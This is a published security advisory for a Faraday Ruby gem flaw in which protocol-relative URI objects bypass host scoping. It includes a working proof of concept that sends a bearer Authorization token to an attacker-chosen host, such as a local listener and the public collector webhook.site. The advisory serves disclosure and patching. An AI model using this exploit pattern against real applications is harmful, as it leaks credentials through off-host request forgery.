CVE-2026-33637: Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping
Summary Faraday::Connection#buildexclusiveurl still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.
Published May 18, 2026 · Updated Jun 5, 2026
Affected packages
faraday
- Ecosystem
- RubyGems
- Affected
- >= 2.0.0, <= 2.14.1
- Fixed in
- 2.14.2
- Check
bundle info faraday
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.
Affected Component
- Repository File(s)/Endpoint(s):
lib/faraday/connection.rblib/faraday/request.rbspec/faraday/connection_spec.rbspec/faraday/request_spec.rb- Function(s):
Faraday::Connection#build_exclusive_urlFaraday::Connection#run_requestFaraday::Request#urlFaraday::Request#to_env- Version(s) Tested:
Faraday 2.14.1- repository HEAD
a01039c948d3e9e41e03d152aed7244f0fb4d5ca
Attacker Profile
- Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
- Access Required: Ability to supply data that the application converts to
URI.parse(...)and passes toconn.get(...),[conn.post](http://conn.post/)(...), orreq.url(...) - Capability: Control over a protocol-relative URI such as
URI("//evil.example/pwn")
Steps to Reproduce
- Use the current repository checkout and load Faraday from
lib/. - Build a fixed-base connection and provide a protocol-relative
URIobject toreq.url. - Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
- Observe that the connection-scoped
Authorizationheader remains attached to the off-host request.
Verification Evidence
- Environment: macOS, Ruby from local environment, Faraday
2.14.1,faraday-net_http, local WEBrick listener on127.0.0.1:4567, HEADa01039c948d3e9e41e03d152aed7244f0fb4d5ca - Commands executed:
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'- PoC code (inline):
require "faraday"
require "faraday/net_http"
conn = Faraday.new(url: "http://trusted.example/base", headers: {
"Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }
target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))
puts resp.status
puts resp.body- Exit code:
0 - stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn- stderr (relevant excerpt):
N/A- Artifacts: none
Additional External Confirmation
The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:
require "faraday"
require "faraday/net_http"
conn = Faraday.new(
url: "http://trusted.example/base",
headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }
target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.
Supporting Materials
- Existing advisory for the original string-based issue:
GHSA-33mh-2634-fwr2 - Existing CVE for the original string-based issue:
CVE-2026-25765 - Existing regression tests for the string-only fix:
spec/faraday/connection_spec.rb:314-345- Existing test proving supported
URIrequest input: spec/faraday/request_spec.rb:26-31
Impact
The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.
Credited to Pirikara.
References
- https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484
- https://github.com/advisories/GHSA-33mh-2634-fwr2
- https://nvd.nist.gov/vuln/detail/CVE-2026-33637
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-33637.yml
- https://github.com/advisories/GHSA-5rv5-xj5j-3484
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
